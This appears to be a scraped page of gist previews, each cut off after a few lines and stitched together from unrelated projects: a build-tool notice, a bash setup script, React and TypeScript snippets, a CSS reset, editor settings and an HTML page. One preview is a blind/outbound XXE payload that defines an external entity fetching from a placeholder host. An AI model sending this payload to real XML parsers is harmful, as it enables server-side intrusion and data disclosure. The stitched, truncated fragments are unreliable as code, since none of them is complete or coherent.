It's 2024. You should use tsup instead of this.
🔥 Blazing fast builds
😇 CommonJS bundle
🌲 .mjs bundle
✨ .d.ts bundle + type-checking
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |
| #!/bin/bash | |
| # Author: Daniel Alvarenga Lima | |
| # Ubuntu version supported: 18.04 LTS 64Bit | |
| # EXECUTE | |
| # sudo chmod +x script-configure-ubuntu18.94-amd64.sh | |
| # ./script-configure-ubuntu18.94-amd64.sh | |
| #INSTRUCTIONS |
It's 2024. You should use tsup instead of this.
🔥 Blazing fast builds
😇 CommonJS bundle
🌲 .mjs bundle
✨ .d.ts bundle + type-checking
| import { getCommand } from "./lib"; | |
| import { printCommand } from "./util"; | |
| import process from "process"; | |
| function main() { | |
| const [ | |
| // eslint-disable-next-line @typescript-eslint/no-unused-vars | |
| _, | |
| // eslint-disable-next-line @typescript-eslint/no-unused-vars | |
| __, |
| // TODO: make `pages` optional and measure the div when unspecified, this will | |
| // allow more normal document flow and make it easier to do both mobile and | |
| // desktop. | |
| import { | |
| createContext, | |
| useCallback, | |
| useContext, | |
| useEffect, | |
| useMemo, | |
| useRef, |
| /* | |
| Made by Elly Loel - https://ellyloel.com/ | |
| With inspiration from: | |
| - Josh W Comeau - https://courses.joshwcomeau.com/css-for-js/treasure-trove/010-global-styles/ | |
| - Andy Bell - https://piccalil.li/blog/a-modern-css-reset/ | |
| - Adam Argyle - https://unpkg.com/[email protected]/normalize.min.css / https://codepen.io/argyleink/pen/KKvRORE | |
| Notes: | |
| - `:where()` is used to lower specificity for easy overriding. | |
| */ |
| { | |
| "vim.showMarksInGutter": false, | |
| "vim.foldfix": true, | |
| "vim.surround": true, | |
| "vim.easymotion": true, | |
| "vim.easymotionKeys": "asdghklqwertyuiopzxcvbnmfj", | |
| "vim.leader": "<space>", | |
| "vim.normalModeKeyBindingsNonRecursive": [ | |
| { | |
| "before": [":", "w", "<CR>"], |
Server-Sent Events (SSE) are commonly used in real-time applications where the server needs to push updates to the client.
Here are a few use cases:
| <!DOCTYPE html> | |
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>My Angular from Scratch</title> | |
| <style> | |
| .my-component { | |
| font-family: Arial, sans-serif; |